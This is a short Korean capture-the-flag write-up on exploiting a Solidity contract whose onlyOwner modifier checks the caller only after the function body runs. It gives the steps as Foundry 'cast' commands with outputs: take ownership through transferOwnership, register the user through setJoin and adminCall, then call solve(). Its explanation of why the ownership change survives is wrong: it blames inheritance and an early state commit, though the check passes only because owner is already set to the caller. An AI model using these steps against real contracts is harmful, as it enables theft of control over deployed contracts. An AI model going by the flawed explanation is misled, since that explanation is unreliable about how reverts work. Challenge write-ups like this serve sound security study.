modifier onlyOwner() {
_;
require(owner == msg.sender, "Only owner");
}
function transferOwnership(address newOwner) public virtual onlyOwner {
owner = newOwner;
}
일단 Ownable contract를 살펴보면, modifier인 onlyOwner()의 검증이 로직이 실행 된 후에 되는 것을 확인할 수 있다.
이를 이용해 transferOwnership을 호출해 owner 권한을 먼저 탈취한다
→ 여기서 require문에서 revert가 발생함에도 owner값이 바뀌는 이유는 두 컨트랙트가 상속 구조를 가지고 있기 때문에, Ownable에 있는 변수들은 그대로 Ownable에 있고 내부의 함수는 ExcellentMember쪽에서 실행되기 때문이다. 다른 컨트랙트에서 call을 이용해서 호출한 경우 내부 동작은 commit이 미리 된다.
cast send $CONTRACT_ADDRESS \\
"transferOwnership(address)" \\
$USER_ADDRESS \\
--rpc-url $RPC_URL \\
--private-key $PRIVATE_KEY
cast call $CONTRACT_ADDRESS "owner()(address)" --rpc-url $RPC_URL
> 0x6858A312D9f61C219A429c2911771D369e8B63D5
그 후, registryExcellentMember() 함수를 최종적으로 호출하기 위해 setJoin() 함수 호출하여 USER_ADDRESS를 join에 넣어준다
cast send $CONTRACT_ADDRESS \\
"setJoin(bool)" true \\
--rpc-url $RPC_URL \\
--private-key $PRIVATE_KEY
cast call $CONTRACT_ADDRESS "join(address)(bool)" $USER_ADDRESS --rpc-url $RPC_URL
> true
그 후, adminCall을 이용해 registryExcellentMember() 함수를 호출해 준다.
DATA=$(cast calldata "registryExcellentMember(address)" $USER_ADDRESS)
echo $DATA
> 0xed6b34630000000000000000000000006858a312d9f61c219a429c2911771d369e8b63d5
cast send $CONTRACT_ADDRESS \\
"adminCall(address,bytes)" \\
$CONTRACT_ADDRESS \\
$DATA \\
--rpc-url $RPC_URL \\
--private-key $PRIVATE_KEY
cast call $CONTRACT_ADDRESS \\
"excellentMember(address)(bool)" \\
$USER_ADDRESS \\
--rpc-url $RPC_URL
> true
그 후, solve() 호출
cast send $CONTRACT_ADDRESS \\
"solve()" \\
--rpc-url $RPC_URL \\
--private-key $PRIVATE_KEY
cast call $CONTRACT_ADDRESS "solved()(bool)" --rpc-url $RPC_URL
> true